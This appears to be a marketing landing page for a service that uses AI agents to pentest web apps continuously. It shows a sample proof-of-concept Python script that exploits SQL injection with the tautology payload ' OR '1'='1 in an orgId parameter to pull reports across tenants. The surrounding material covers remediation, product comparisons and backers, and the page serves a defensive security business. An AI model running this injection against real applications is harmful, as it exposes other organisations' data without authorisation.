State-of-the-art AI agents that continuously pentest your app. Seamlessly managed & securely monitored by human experts.

Trusted by companies who take security seriously

How it works

Universal compatibility

Secure web apps, APIs, MCPs, or Chrome extensions in any programming language or framework.

Easy onboarding

Just point us to your code & staging server, and tell us what matters to your business.

Harmony Intelligence

Harmony Intelligence10 mins ago

Thanks for the quick call! Super clear and helpful context. All we need now is code access.

Truman

Truman5 mins ago

Access granted.

Harmony Intelligence

Harmony IntelligenceJust now

Confirming we now have everything we need on our end to kickoff :)

Deep audit

Static analysis & dynamic testing covering the MITRE Top 25, including authN/Z, injection, business logic, SSRF & more.

Prioritised, validated findings

Includes business impact, reproducible POC script & more. Flexible reporting to fit your use case & compliance needs.

poc_sqli_export.py

# POC Exploit:   Cross-Tenant Data Exfiltration
# Target:        GET /api/reports/export
# Vulnerability: Unsanitised orgId concatenated into raw SQL
#                — no parameterisation or escaping
# Impact:        Any authenticated user can read all reports
#                across every tenant (CVSS 9.8)
#
# The script demonstrates full cross-tenant access via
# tautology injection, confirmed against staging.
import requests
BASE  = "https://api.acme.com"
TOKEN = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQi..."
r = requests.get(
    f"{BASE}/api/reports/export",
    params={"orgId": "' OR '1'='1"},
    headers={"Authorization": f"Bearer {TOKEN}"},
)
rows = r.json()["reports"]
orgs = {row["org_id"] for row in rows}
print(f"[+] {len(rows)} reports from {len(orgs)} orgs")

Remediate fast

Clear remediation guidance & code patches compatible with your preferred workflows. Close support from our cyber experts.

your-team / app · remediations

Parameterise reports export query (SQLi) Merged

Enforce org-scoping + auth on /api/reports Merged

Audit & remove raw SQL string interpolation Merged

Always-on security

Continuous audits year round as code & threats evolve. Constantly improving through business context & the latest AI models.

Harmony Intelligence

Harmony IntelligenceJust now

🚨 New critical finding — SQL injection in /api/reports export (CVSS 9.8).

See the full report & POC here

Built for quality & ease

More than a PR review

Uncovers risks at the app and system level. Dynamic testing, not just static analysis.

Secure by design

We don't train on your data. From data storage to AI safeguards, we take your security incredibly seriously.

Fully managed

Don't waste precious time tuning prompts or babysitting agents. Leave it to our human experts.

Stay ahead of attackers

We work to keep you at the AI & security frontier, so you can focus on your unique business.

The power of human + AI

Human

Harmony Human + AI

Other AI tools

Speed & quality

Slow & inconsistent

Fast & high

Fast but noisy

Onboarding effort

High

Low

Manual config

Ongoing effort

High

Low

High triage burden

Coverage

Inconsistent

Deep

Limited

Pricing

Expensive

Affordable, predictable

Hard to predict

Frequency

Annual

Continuous

Continuous but low depth

Why we built Harmony

We've built software & security at Plaid, 0x, Kraken, and our own startups. We know how hard it is to prevent breaches while trying to move fast.

Because of AI, teams are shipping more code than ever while attackers are exploiting vulnerabilities faster than ever. Infosec practices like annual pentests haven't kept up and are putting teams at high risk of a breach.

We built Harmony to make it easy for defenders to stay ahead and secure software at the speed of AI. Expect us to be long-term partners that work incredibly hard to keep you at the AI & security frontier, so you can ship fast without worrying about waking up to a catastrophic breach.

Alex Browne

Co-Founder & CTO

Soroush Pour

Co-Founder & CEO

Our backers

Raj Rajamani

fmr CPO, CrowdStrike and SentinelOne

Zach Brock

Engineering Leader, OpenAI
fmr CEO, Adept AI

Tim Tickel

fmr Head of Security, BitMEX
fmr Security Engineer, Reddit, Plaid, Uber, Facebook, and Google

Eric Ries

Author of “The Lean Startup”

Reed McGinley-Stempel

Co-Founder, Stytch (part of Twilio)

Jason Schultz

fmr Head of Global AI Policy, Canva